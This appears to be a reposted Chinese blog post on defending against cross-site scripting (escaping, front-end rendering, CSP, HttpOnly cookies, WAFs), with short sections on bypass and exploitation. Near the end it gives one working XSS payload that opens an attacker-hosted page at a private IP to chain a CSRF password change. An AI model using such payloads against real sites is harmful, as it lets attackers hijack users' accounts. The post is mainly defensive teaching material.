XSS之防御與繞過


 很久之前的隨筆講過XSS的編碼繞過的一些內容

本次側重整理一下常見的防御思路,順便補充一些針對性的繞過思路以及關於XSS個人想到的一些有趣的事情

開篇之前,先看一下XSS介紹(包括mXSS、uXSS、blind XSS):

https://blog.csdn.net/Perpetual_Blue/article/details/109643465

https://blog.51cto.com/14149641/2557871

 

0x01防御

首先需要明確的一點是,XSS的防御檢測一定不能只在前端進行(但不能不做),風險很大,還需要在后端同時進行,這是根本。前端與后端防御缺一不可

 

想防御,就要先清楚一個XSS的攻擊流程是怎樣的?

整理一下這個問題的思路:  

 

類型

惡意代碼存放點

由誰取得惡意代碼並插入

存儲型 XSS

后端數據庫

HTML

反射型 XSS

URL

HTML

DOM 型 XSS

后端數據庫/前端存儲/URL

前端 JavaScript

 

存儲型 XSS(常見於發帖、評論、私信等功能點) 的攻擊步驟:

  1. 攻擊者將惡意代碼提交到目標網站的數據庫中
  2. 用戶打開目標網站時,網站服務端將惡意代碼從數據庫取出,拼接在 HTML 中返回給瀏覽器
  3. 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行
  4. 惡意代碼竊取用戶數據並發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作

 

 

反射型 XSS (常見於需要通過URL傳遞參數的功能點如搜索、跳轉,需要被害者手動點擊觸發)的攻擊步驟:

  1. 攻擊者構造出特殊的 URL,其中包含惡意代碼
  2. 用戶打開帶有惡意代碼的 URL 時,網站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器
  3. 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行
  4. 惡意代碼竊取用戶數據並發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作

 

 

DOM 型 XSS 的攻擊步驟:

  1. 攻擊者構造出特殊的 URL,其中包含惡意代碼
  2. 用戶打開帶有惡意代碼的 URL
  3. 用戶瀏覽器接收到響應后解析執行,前端 JavaScript 取出 URL 中的惡意代碼並執行
  4. 惡意代碼竊取用戶數據並發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作

 

 

根據整個流程來看,無論是什么類型的XSS都客觀存在共通點:攻擊者提交的惡意代碼可以被識別、執行並造成危害

於是產生了幾種思路:

1.從用戶輸入的角度過濾

2.從防止惡意代碼執行的角度過濾

 

 

 

 

 

先來說第一種,從輸入側過濾

正如前文所說,對用戶輸入的檢測,必須要有后端檢測,因為只是前端檢測很輕松就能繞過了,基本上形同虛設

黑名單,是過濾不干凈的,靠封鎖很難,因為師傅們總能整出點新花樣

推薦使用白名單,來保留部分允許的標簽和屬性

 

然后,可以在后端寫入數據庫之前來一次過濾,把過濾后的內容返回給前端

但是這里有一個問題,返回的內容不方便判斷要輸出到哪里,可能輸出到HTML標簽,可能輸出到HTML屬性、可能輸出到script標簽、可能輸出到事件、可能輸出到CSS中、可能輸出到地址URL。。。。。。

 

 

 

 

 

前端不同位置,不同功能處的編碼要求不同,過濾方法也不盡相同(白名單也好,編碼轉義也可能有不同的好幾種寫法),而且可能會引起顯示亂碼等問題,非常復雜

除非是一些固定格式的,比如電話號之類的,其他都不推薦在輸入側防御

所以思路轉為干脆防止HTML中出現注入

或者防止JS執行時,執行了惡意代碼,這樣可以把XSS的危害無效化

 

 

於是再來說第二種,從防止HTML中出現注入及防止惡意代碼執行的過濾

(1)存儲型與反射型XSS

這兩者都與后台發生交互,即從服務端取出惡意代碼后插入到響應的HTML中了,並且被執行

常見方式:要么使用純前端渲染,把代碼和數據分離

要么對HTML進行充分的轉義

 

 

純前端渲染的過程:

  1. 瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。
  2. 然后瀏覽器執行 HTML 中的 JavaScript。
  3. JavaScript 通過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。

 

在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了(但需要注意DOM型XSS,前端渲染防御對其無效,例如 onload 事件和 href 中的 javascript:xxx 等)

 

問題是,純前端渲染對於系統性能要求很高,不是所有系統都適用的,大多數還是需要面臨HTML拼接的問題,所以我們嘗試第二種辦法,轉義HTML

 

常用的一些模板引擎會采取簡單的轉義規則,比如把& < > “ ` / 等字符轉義,可以說是能起到一些作用,但是並不完善

XSS 安全漏洞

簡單轉義是否有防護作用

HTML 標簽文字內容

HTML 屬性值

CSS 內聯樣式

內聯 JavaScript

內聯 JSON

跳轉鏈接

 

所以要使用更加完善仔細的轉義策略,比如一些語言專有的轉義庫,如Java中的org.owasp.encoder

 

 

(2)DOM型XSS

DOM型XSS的出現,鍋要由前端JS背了,代碼本身不嚴謹,將不可信代碼執行了

 

在使用 .innerHTML.outerHTMLdocument.write() 時要特別小心,不要把不可信的數據作為 HTML 插到頁面上,而應盡量使用 .textContent.setAttribute()

 

如果用 Vue/React 技術棧,並且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTMLouterHTML 的 XSS 隱患。

 

DOM 中的內聯事件監聽器,如 locationonclickonerroronloadonmouseover 等,<a> 標簽的 href 屬性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作為代碼運行。如果不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免

例如:

 

<!-- 內聯事件監聽器中包含惡意代碼 -->

<img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">

 

<!-- 鏈接內包含惡意代碼 -->

<a href="UNTRUSTED">1</a>

 

<script>

// setTimeout()/setInterval() 中調用惡意代碼

setTimeout("UNTRUSTED")

setInterval("UNTRUSTED")

 

// location 調用惡意代碼

location.href = 'UNTRUSTED'

 

// eval() 中調用惡意代碼

eval("UNTRUSTED")

</script>

 

如果完全依賴可愛的小開發,可能要累死

接下來談談一些補充的通用辦法

 

1.CSP(Content Security Policy)

內容安全策略

這東西相當於一種白名單制度

兩種設置方法:一種是通過 HTTP 頭信息的Content-Security-Policy的字段,另一種是通過網頁的<meta>標簽

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

 

嚴格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加載外域代碼,防止復雜的攻擊邏輯
  • 禁止外域提交,網站被攻擊后,用戶的數據不會泄露到外域
  • 禁止內聯腳本執行(規則較嚴格,目前發現 GitHub 使用)
  • 禁止未授權的腳本執行(新特性,Google Map 移動版在使用)
  • 合理使用上報可以及時發現 XSS,利於盡快修復問題

 

參考文章:http://www.ruanyifeng.com/blog/2016/09/csp.html

 

2. X-Xss-Protection

HTTP X-XSS-Protection 響應頭是 Internet Explorer,Chrome 和 Safari 的一個功能,當檢測到跨站腳本攻擊 (XSS)時,瀏覽器將停止加載頁面。它有四種取值:

(1)X-XSS-Protection: 0:禁止瀏覽器啟用 XSS 過濾

(2)X-XSS-Protection: 1:啟用瀏覽器啟用 XSS 過濾(通常瀏覽器默認的值)

(3)X-XSS-Protection: 1;mode=block:啟用 XSS 過濾。如果檢測到攻擊,瀏覽器將不會清除頁面,而是阻止頁面加載

(4)X-XSS-Protection: 1; report=<reporting-uri>:啟用 XSS 過濾。如果檢測到跨站腳本攻擊,瀏覽器將清除頁面並使用 CSP report-uri 指令的功能發送違規報告(reporting-uri 就是發送違規報告的 URL 站點)

 

默認設置為(3)

3.HTTP-only

cookie中設置此選項,禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此 Cookie

 

4.上WAF

軟WAF、硬WAF、雲WAF,幫你攔一攔

 

總之,防御的思想為:

(1)利用好各個模板引擎的轉義功能

(2)避免內聯事件,例如onLoad="onload('{{data}}')"onClick="go('{{action}}')"

(3)避免拼接HTML,前端采用拼接 HTML 的方法比較危險,如果框架允許,使用 createElementsetAttribute 之類的方法實現。或者采用比較成熟的渲染框架,如 Vue/React 等。

(4)增加攻擊難度,使用上文的通用手段,降低被攻擊的后果

 

 

 

 

 

 

0x02繞過

 

上一點中談了防御,如果完全像我說的那樣從代碼層面嚴格審查,是很難利用XSS的,繞過也無從談起

如果能繞過的,一定是防御不完全

部分思路可以參考下圖:

 

 

 

 

關於編碼原則的部分,我在前面的隨筆寫過,可以翻翻

一些payload。。。篇幅原因就不寫了

可以參考這兩篇文章,值得仔細閱讀:

https://www.freebuf.com/articles/web/226719.html(轉自外網)

https://www.freebuf.com/articles/web/262013.html

 

0x03利用與危害

 

 

最后說說XSS的利用和危害

 

有一位表哥,面試HW的時候,遇到一位小伙汁,問他XSS的危害是什么?

答:能彈窗

 

危害請見下圖:

 

 

 

 

圖片詳解請參考:

https://zhuanlan.zhihu.com/p/299678160

https://zhuanlan.zhihu.com/p/61773197

 

 

舉...個例子

1.CSRF+XSS

 

構造csrf的poc,同時構造XSS代碼(例如<script src="x" onerror=javascript:window.open("http://192.168.25.203/csrf.html")></script>這種)

對方一點擊訪問,通過存儲型XSS,實現打開頁面自動調用CSRF,實現對密碼的篡改

 

或者通過CSRF ,用POST腳本提交請求,結合selfxss(自己輸入payload,自己觸發,只有自己能看到)觸發漏洞

 

 

2.暫時沒想好寫點啥

先寫到這,下一篇文章繼續寫

 

關於XSS的利用,可寫的還有很多很多......

抽時間繼續寫

可能會單獨開一篇

閃電五連鞭,缺一鞭都不行,沒有勁兒

 

參考文章:

https://www.freebuf.com/vuls/225096.html

https://www.bilibili.com/read/cv5322293/

https://xz.aliyun.com/t/8459

https://zhuanlan.zhihu.com/p/299678160

https://www.cnblogs.com/vege/p/12655830.html

https://segmentfault.com/a/1190000022678120

https://www.freebuf.com/articles/web/244524.html

https://cloud.tencent.com/developer/article/1621427

https://segmentfault.com/a/1190000016551188

 

 未經允許,禁止轉載


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM